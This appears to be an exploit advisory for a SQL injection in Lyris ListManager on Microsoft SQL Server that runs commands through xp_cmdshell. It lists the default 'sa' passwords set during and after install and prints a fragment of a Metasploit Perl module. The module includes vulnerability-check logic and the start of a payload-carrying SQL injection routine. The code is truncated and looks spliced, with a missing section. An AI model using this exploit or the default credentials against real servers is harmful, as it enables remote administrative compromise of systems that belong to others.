"Lyris ListManager, is the world's most popular software solution for managing and growing in-house email lists, as well as creating highly effective email campaigns, newsletters, and discussion groups."
The following Metasploit module exploits a SQL injection flaw in the Lyris ListManager software for Microsoft SQL Server. This SQL injection flaw allows for arbitrary commands to be executed with administrative privileges by calling the xp_cmdshell stored procedure. Additionally, a window of opportunity is opened during the ListManager for MSDE install process; the 'sa' account is set to the password 'lminstall' for a 5-10 minute period. After the installer finishes, the password is permanently set to 'lyris' followed by the process ID of the installer (a 1-5 digit number).
Vulnerable Systems:
* Lyris ListManager version 5.x
* Lyris ListManager version 6.x
* Lyris ListManager version 7.x
* Lyris ListManager version 8.x
Immune Systems:
* Lyris ListManager version 8.9b
Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::lyris_attachment_mssql;
use base "Msf::Exploit";
use strict;
use Pex::Text;
'Description' => Pex::Text::Freeform(qq{
This module exploits a SQL injection flaw in the Lyris ListManager
software for Microsoft SQL Server. This flaw allows for arbitrary commands
to be executed with administrative privileges by calling the xp_cmdshell
stored procedure. Additionally, a window of opportunity is opened during the
ListManager for MSDE install process; the 'sa' account is set to the password 'lminstall'
for a 5-10 minute period. After the installer finishes, the password is
permanently set to 'lyris' followed by the process ID of the installer (a 1-5 digit number).
}),
if ($r =~ /Unclosed quotation mark before/) {
$self->PrintLine("[*] Vulnerable installation detected ;)");
return $self->CheckCode('Detected');
}
if ($r =~ /SQL error reported from Lyris/) {
$self->PrintLine("[*] Vulnerable installation, but not running MSSQL.");
return $self->CheckCode('Safe');
}
if ($r =~ /ListManagerWeb.*Content-Length: 0/sm) {
$self->PrintLine("[*] This system appears to be patched");
return $self->CheckCode('Safe');
}
$self->PrintLine("[*] Unknown response, patched or invalid target.");
return $self->CheckCode('Safe');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
my $sql =
'DECLARE @X NVARCHAR(4000);'.
'SET @X= ';
